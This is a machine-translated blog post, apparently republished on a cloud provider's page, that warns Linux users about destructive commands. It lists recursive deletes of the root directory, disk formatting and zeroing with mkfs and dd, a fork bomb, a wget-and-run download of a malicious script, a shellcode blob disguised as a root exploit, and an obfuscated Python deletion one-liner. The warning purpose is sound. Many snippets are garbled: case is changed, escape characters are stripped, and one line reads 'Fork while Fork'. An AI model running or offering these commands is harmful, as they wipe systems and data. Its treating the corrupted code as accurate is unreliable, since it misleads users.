Linux Delete command

Source: Internet
Author: User


650) this.width=650; "title=" Never run the Linux command "alt=" never run the Linux command "src=" http://s5.51cto.com/wyfs02/M01/96/BC/ Wkiol1klaytzay1jaaaodr7ik6y908.jpg-wh_651x-s_1410196850.jpg "border=" 0 "/>

The commands listed in this article must never be run, even if you're curious, unless you're running on a virtual machine (you can restore the problem) because they will actually destroy your system. So it is good practice not to execute commands under advanced administrative privileges such as root.


Sooner or later, the Linux system will be as popular as Windows, with more people, including people who are not very familiar with the computer, the purpose of this article is to tell you: Linux gives you the greatest degree of freedom at the same time, but also makes the destruction of the system easier, if you do not understand the meaning of certain commands, Downloading a script that contains malicious commands, or being tricked into running certain commands, can easily make you cry too late.

This does not mean that Linux is insecure, but that Linux is very insecure in the presence of people who do not know Linux and are very careless. Windows or Linux, the people themselves are the biggest insecurity factor.


The following command will delete the files on your hard drive, RM-R Recursive Delete, and-f Force Delete is a very dangerous option, even if the daily operation, you will also encounter the case of mistakenly deleted files.

sudo rm-rf/delete root partition all files sudo rm-rf. Delete all files in the current directory sudo rm-rf * ditto RM-RF * or RM-RF * * above RM-RF ~/& Delete root partition and home directory, even if you are not root, the home directory is not spared.

Similarly, if you do not know Mkfs.xxxx (xxxx can be vfat, ext2, ext3, BFS ...) is a format command, running the following command erases your hard disk partition:

sudo mkfs.xxxx

DD is a powerful IO input/output orientation tool that, if used improperly, is very disruptive, not just the current partition, the current system, and sometimes the entire hard drive.

sudo dd If=/dev/zero OF=/DEV/SDA all hard drives are zeroed. sudo dd IF=/DEV/SDA of=/dev/sdb overwrites the contents of the second block with the contents of the first hard drive. sudo dd if=something OF=/DEV/SDA write junk data to the hard drive.

Similarly, direct command results to the hard disk, the equivalent of writing to the hard disk garbage data:

Any_command >/dev/sda destroying hard drives with random data

The above SDA, SDB may also be other similar names. The/dev System of Linux provides convenient and powerful functions for manipulating hardware, and also makes it easier to destroy.

The fork command opens a subprocess, and if you put the fork in an infinite loop, the final child process will run out of all memory resources:

:() {: |:&};:

This kind of unintelligible symbol, can let the shell continue to fork the sub-process, eventually lead to memory exhaustion, have to restart, this is not a bug, but the shell statement deliberately written in shorthand form. The following is the same:

Fork while Fork

Sometimes, a compressed package is also a source of destruction ~

Some compression packages require you to extract to a directory that already exists in a system, you should be particularly careful, the compression package may have thousands of small files, with a variety of file names to try to overwrite your existing files.

Some compressed packets look small, but extracting them is a gigabyte of junk data that will flood your hard drive.

Programs and scripts downloaded from informal websites are also at risk of containing malicious commands and cannot be arbitrarily executed:

wget [Url]http://some_place/some_file[/url] sh./some_file wget [Url]http://hax018r.org/malicious-script[/url] sh./ Malicious-script

Download the script to ensure that the source is regular, and if you have the ability, you can read its code. Even if you have the source code of the program, do not randomly compile the execution:

Char esp[] __attribute__ ((section (". Text"))/* E.S.P release */= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" "xffxffxffxf fx68xdfxd0xdfxd9x68x8dx99 "" Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7 "" x56x04xf7x56x08xf7x56x0cx83xc4x74x56 "" X8dx73x08x56x53x54x59xb0x0bxcdx80x31 "" xc0x40xebxf9xe8xbdxffxffxffx2fx62x69 "" x6ex2fx73x68x00x2dx63x00 "" Cp-p/bin /sh/tmp/.beyond; chmod 4755/tmp/.beyond; ";

It looks like a bunch of meaningless 16 data, if someone tells you, run the program you can not enter the password to get the root of the system, you can not trust him, the above program is actually running "RM-RF ~/&".

A Python-type scripting language can also be used to destroy:

Python-c ' Import OS; Os.system ("". Join ([Chr (Ord (i)-1) for I in "sn!. sg! "]))‘

This program will actually execute RM-RF *, perhaps you are surprised at the end of the program above "sn!." sg! "What does that mean, is actually RM-RF * Every letter of the next!"

So how do we avoid running malicious programs?

First do not use root as a daily user, the above program, if the current user is not root, the scope of the damage will be much smaller.

Second, you need to know what commands are used, do not know the commands do not run. Run potentially destructive programs and be careful to check your input.

The third is to ensure that the source of software and scripts are formal.

The last point, though more negative, is really important:

Back up your data often!!


This article is from the "high-tech Library" blog, please be sure to keep this source http://gaopengju.blog.51cto.com/12830710/1947419

Linux Delete command

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.